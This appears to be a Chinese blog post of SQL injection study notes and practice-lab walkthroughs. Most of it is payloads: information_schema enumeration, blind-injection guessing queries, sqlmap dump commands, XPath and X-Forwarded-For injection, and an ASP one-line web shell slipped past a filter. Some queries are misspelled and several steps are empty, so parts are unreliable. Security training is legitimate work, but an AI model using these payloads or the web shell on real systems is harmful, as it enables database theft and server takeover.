sql注入
Posted 爪爪
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入相关的知识,希望对你有一定的参考价值。
SQL基础:
注入点的判断:
首先判断该注入点是怎么闭合的,常用的是\',\'),\')),",再利用and 1=2,and 1=1判断闭合是否正确
sql注入常用语句:
普通语句:schema_name——数据库名;table_name——表名;column_name——字段名;
查询数据库:select schema_name from information_schema.schemata--+
查询数据库表:select table_name from information_schema.tables where table_schema=\'数据库名\'--+
查询字段名:select column_name from infromation_columns where table_name=\'表名\'--+
查询字段内容:select * from 表名--+
盲注:
先介绍几个常用的函数:
left(a,b)-----查询a中数据,返回b个字符
substr(s,n,len)------从字符串s中返回一个长度同len字符相同的字符串,起始于位置n,另外要注意的是,该函数起始位置是1,不是0
CAST函数:语法规则是:Cast(字段名 as 转换的类型 ),进行数据类型转换
limit a,b--------a决定返回第几行的数据,而b决定返回几行数据
ORD() 函数:ORD() 函数返回字符串第一个字符的
mysql IFNULL
函数是MySQL控制流函数之一,它接受两个参数,如果不是NULL
,则返回第一个参数。 否则,IFNULL
函数返回第二个参数。
ascii----返回asciii值
Regexp:是一个正则表达式
接下来就是盲注常用的语句了:
查看数据库名字长度:id=1\' and length(database())=8 %23
猜解数据库名字:id=1\' and left(database(),1)>\'r\' %23
不断地将1增加,猜出其余的字符,这里的大于号可以换成等于号(假如你能猜到数据库的名字大致是哪几个,可以直接换成=)
猜解数据库表:id=1\' and ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit 0,1),1,1))>80 %23 不断地将1增加,猜出其余的字符
猜解列名:id=1\' and 1=(select 1 from information_schema.columns where table_name=\'emails\' and column_name regexp \'^email_id\' limit 0,1)--+ 可将红色部分替换[a-z],确定列名
猜解字段中的内容:id=1\' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 --+
sql注入工具——sqlmap
经常使用的语句:
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --current-db #获取当前数据库名称
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --tables -D "db_name" #列表名
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" --dump -T "表名" #获取字段内容
下面是我做题的一些过程:
SQL注入实战-MySQL
注入点用base64编码的:用插件tamper
获取数据表:
获取字段名:
获取字段内容:
WordPress插件漏洞分析溯源
Wpscan:专门扫描wordpress一种扫描器,可以扫描插件漏洞,主题漏洞。
根据这些漏洞找到攻击点:找到一个漏洞时,打开链接,根据链接的内容,对网站进行攻击(主要是通过注入找到后台用户名以及登录密码)
Access防注入系统:
在id=1后面添加sql语句,根据页面返回的结果,进行注入。
id=1 and 1=<%eval request(\'aaa\')%>
发现页面只返回了and1=,将一句话进行编码,然后提交,返回一句话,但是查看sqlin.asp页面时发现被过滤了,被过滤了,网上找了几个放过滤的一句话
经过尝试第三个可以绕过过滤,再次查看sqlin.asp页面,显示成功插入。
接下来链接菜刀,拿到key
Xpath注入:
http://219.153.49.228:49950/demo.php?name=xml\']|//*|//*[\' --+
\'] 为闭合前面的节点
| 为分别执行,符号前后的路径都要查询
//* 为匹配所有节点
//*[\' 为匹配后面的内容
X-Forwarded-For注入漏洞实战:
正常的注入无法注入
抓包【这里是将sqlmap和burpsuite结合起来注入,将包中的文件保存到本地,然后利用sqlmap:sqlmap.py -r file.txt --dbs进行注入】
手动加上X-Forwarded-For |
将包中的数据复制粘贴保存到本地,将sqlmap和burpsuite结合起来使用
利用sqlmap进行注入:
以上是关于sql注入的主要内容,如果未能解决你的问题,请参考以下文章